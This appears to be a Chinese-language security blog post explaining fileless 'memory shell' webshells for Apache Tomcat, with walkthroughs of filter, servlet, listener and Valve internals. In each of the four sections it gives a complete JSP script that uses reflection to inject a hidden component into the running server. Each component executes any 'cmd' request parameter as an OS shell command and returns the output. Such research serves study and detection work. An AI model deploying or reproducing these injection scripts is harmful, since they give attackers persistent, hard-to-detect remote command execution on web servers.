# 內存馬
簡介
Webshell內存馬,是在內存中寫入惡意后門和木馬並執行,達到遠程控制Web服務器的一類內存馬,其瞄准了企業的對外窗口:網站、應用。但傳統的Webshell都是基於文件類型的,黑客可以利用上傳工具或網站漏洞植入木馬,區別在於Webshell內存馬是無文件馬,利用中間件的進程執行某些惡意代碼,不會有文件落地,給檢測帶來巨大難度。
類型
目前分為三種:
-
Servlet-API型
通過命令執行等方式動態注冊一個新的listener、filter或者servlet,從而實現命令執行等功能。特定框架、容器的內存馬原理與此類似,如tomcat的valve內存馬- filter型
- servlet型
- listener型
-
字節碼增強型
通過java的instrumentation動態修改已有代碼,進而實現命令執行等功能。
-
spring類
- 攔截器
- Controller型
基礎知識
JAVA web 三大件
Tomcat基本架構
6. 站在巨人的肩膀學習Java Filter型內存馬 - bmjoker - 博客園 (cnblogs.com)
Tomcat 中有 4 類容器組件,從上至下依次是:
- Engine,實現類為 org.apache.catalina.core.StandardEngine
- Host,實現類為 org.apache.catalina.core.StandardHost
- Context,實現類為 org.apache.catalina.core.StandardContext
- Wrapper,實現類為 org.apache.catalina.core.StandardWrapper
“從上至下” 的意思是,它們之間是存在父子關系的。
- Engine:最頂層容器組件,其下可以包含多個 Host。
- Host:一個 Host 代表一個虛擬主機,其下可以包含多個 Context。
- Context:一個 Context 代表一個 Web 應用,其下可以包含多個 Wrapper。
- Wrapper:一個 Wrapper 代表一個 Servlet。
0x01 Tomcat filter型內存馬
所謂filter內存馬,就是在web容器中創建了含有惡意代碼的filter,在請求傳遞到servlet前被攔截下來且執行了惡意代碼。因此,我們需要了解filter的創建流程。
由於是tomcat進行創建,因此需要閱讀tomcat源碼。在pom.xml中添加如下依賴,然后reload maven即可調試tomcat源碼
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.52</version>
<scope>provided</scope>
</dependency>
在filter的init函數下斷點,看一下調用鏈,發現是StandardContext處的filterStart方法調用了filter相關方法。

在調用filterStart方法

這里我們可以發現主要是通過將filterDef這個參數傳入ApplicationFilterConfig來實現創建filter。而后將其加入filterConfigs。
接下來再看一下調用filterChain.doFilter(servletRequest,servletResponse);的調用棧

可以發現filterchain在這里創建。
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
看一下它的具體代碼
for (FilterMap filterMap : filterMaps) {//遍歷filterMaps
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)//將filterMaps中的配置實例化為FilterConfig
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);//在filterChain中添加filterConfig
}
filterMaps是web.xml的filter相關配置

如上所述,我們實現filter型內存馬要經過如下步驟:(這里原本的filterDef與filterMaps都是通過web.xml解析而來)
- 創建惡意filter類
- 構造相應的filterDef
- 通過將filterDef這個參數傳入ApplicationFilterConfig來實現創建filter。而后將其加入filterConfigs。
- 創建一個相應的filterMaps,且將惡意filter放在最前。
具體實現方法:
由於filter的init在應用創建時完成,因此要進行filter內存馬的注入,需要在filterChain.doFilter前把相應的filter配置注入。
可以利用任意文件上傳來執行jsp腳本實現,也可以嘗試反序列化進行代碼執行。
【安全記錄】基於Tomcat的Java內存馬初探 - 簡書 (jianshu.com)
//只適用於tomcat8,tomcat7的import包不同
<%--
Created by IntelliJ IDEA.
User: win7_wushiying
Date: 2021/10/24
Time: 19:03
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "shell";
// 獲取上下文,即standardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//獲取上下文中 filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
//創建惡意filter
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
//創建對應的FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 將filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
//創建對應的FilterMap,並將其放在最前
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//調用反射方法,去創建filterConfig實例
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
//將filterConfig存入filterConfigs,等待filterchain.dofilter的調用
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>
獲取standard上下文,使用以下方法獲取servletContext,而后調用反射機制獲取StandardContext
request.getSession().getServletContext();

0x02 Tomcat servlet型內存馬
servlet型的內存馬原理就是注冊一個惡意的servlet,與filter相似,只是創建過程不同。
核心還是看StandardContext
在init filter后就調用了loadOnStartup方法實例化servlet
可以發現servlet的相關信息是保存在StandardContext的children字段。
根據以下代碼可知,只要在children字段添加相應的servlet,loadOnStartup就能夠完成init。
public boolean loadOnStartup(Container children[]) {
// Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
}
// Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
// NOTE: load errors (including a servlet that throws
// UnavailableException from the init() method) are NOT
// fatal to application startup
// unless failCtxIfServletStartFails="true" is specified
if(getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}
接下去就要尋找如何添加惡意wrapper至children,找到addchild方法,說明了child需要為wrapper實例
public void addChild(Container child) {
// Global JspServlet
Wrapper oldJspServlet = null;
if (!(child instanceof Wrapper)) {//這里說明了child需要為wrapper實例
throw new IllegalArgumentException
(sm.getString("standardContext.notWrapper"));
}
...
}
尋找創建wrapper實例的代碼,發現createWrapper方法
這樣創建惡意servlet流程就清楚了
- 創建惡意的servlet實例
- 獲取standardContext實例
- 調用createWrapper方法並設置相應參數
- 調用addchild函數
- 為了將servlet與相應url綁定,調用addServletMappingDecoded方法
具體實現
<%--
Created by IntelliJ IDEA.
User: win7_wushiying
Date: 2021/10/25
Time: 14:45
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "servletshell";
// 獲取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/shell123",name);
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>
0x03 Tomcat listener型內存馬
listener用於監聽時間的發生或狀態的改變,其初始化與調用順序在filter之前,
Tomcat使用兩類Listener接口分別是org.apache.catalina.LifecycleListener和原生Java.util.EventListener。
一般作為webshell,需要對網站發送請求使用Java.util.EventListener。
(31條消息) Listener(監聽器)的簡單介紹_LrvingTc的博客-CSDN博客_listener
從上述連接可知,listener選擇很多。我們選擇與request相關的ServletRequestListener。
ServletRequest域對象的生命周期:
創建:訪問服務器任何資源都會發送請求(ServletRequest)出現,訪問.html和.jsp和.servlet都會創建請求。
銷毀:服務器已經對該次請求做出了響應。
@WebListener
public class MyServletRequestListener implements ServletRequestListener{
@Override
public void requestDestroyed(ServletRequestEvent arg0) {
System.out.println("ServletRequest銷毀了");
}
@Override
public void requestInitialized(ServletRequestEvent arg0) {
System.out.println("ServletRequest創建了");
}
}
來看一下StandardContext的listenerStart()方法。主要是獲取ApplicationListeners來實現Listener的初始化與裝載。
public boolean listenerStart() {
if (log.isDebugEnabled()) {
log.debug("Configuring application event listeners");
}
// Instantiate the required listeners
String listeners[] = findApplicationListeners();
Object results[] = new Object[listeners.length];
boolean ok = true;
for (int i = 0; i < results.length; i++) {
if (getLogger().isDebugEnabled()) {
getLogger().debug(" Configuring event listener class '" +
listeners[i] + "'");
}
try {
String listener = listeners[i];
results[i] = getInstanceManager().newInstance(listener);
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.applicationListener", listeners[i]), t);
ok = false;
}
}
...
}
由此,我們可以通過設置StandardContext的ApplicationListeners字段,實現listener內存馬的注入。
StandardContext有addApplicationListener方法。
具體流程
- 創建惡意listener
- 獲取StandardContext
- StandardContext.addApplicationListener(listener) 添加listener
<%--
Created by IntelliJ IDEA.
User: win7_wushiying
Date: 2021/10/25
Time: 14:45
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "servletshell";
// 獲取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
ServletRequestListener listener = new ServletRequestListener() {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
PrintWriter out= request.getResponse().getWriter();
out.println(output);
out.flush();
out.close();
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
}
};
standardContext.addApplicationEventListener(listener);
%>
<html>
<head>
<title>Title</title>
</head>
<body>
inject listener success!
</body>
</html>
0x04 Valve內存馬
Tomcat容器攻防筆記之Valve內存馬出世 (qq.com)
tomcat架構分析(valve機制) - 南極山 - 博客園 (cnblogs.com)
在四大容器中,容器之間request的傳遞是由pipeline串連起來的,而其中的標准valve則存儲了invoke方法,實現了具體的邏輯。

如圖,是四大容器的標准valve,傳遞request的流程。

Context中pipeline流程的代碼:
context.getPipeline().getFirst().invoke(request, response);//獲取context的Pipeline,獲取其第一個valve,調用invoke方法。
這樣的話,我們可以嘗試自己創建惡意valve,重寫其invoke方法,添加到四大容器中的pipeline。在發送request時,就能夠對其進行操作,執行java代碼。
在Pipeline類中找到方法addValve,可以添加valve。
<%--
Created by IntelliJ IDEA.
User: win7_wushiying
Date: 2021/10/24
Time: 19:03
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%!
public final class myvalve implements Valve{
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
return;
}
this.getNext().invoke(request,response);
}
@Override
public boolean isAsyncSupported() {
return false;
}
}
%>
<%
final String name = "shell";
// 獲取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
myvalve myvalve = new myvalve();
standardContext.getPipeline().addValve(myvalve);
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>
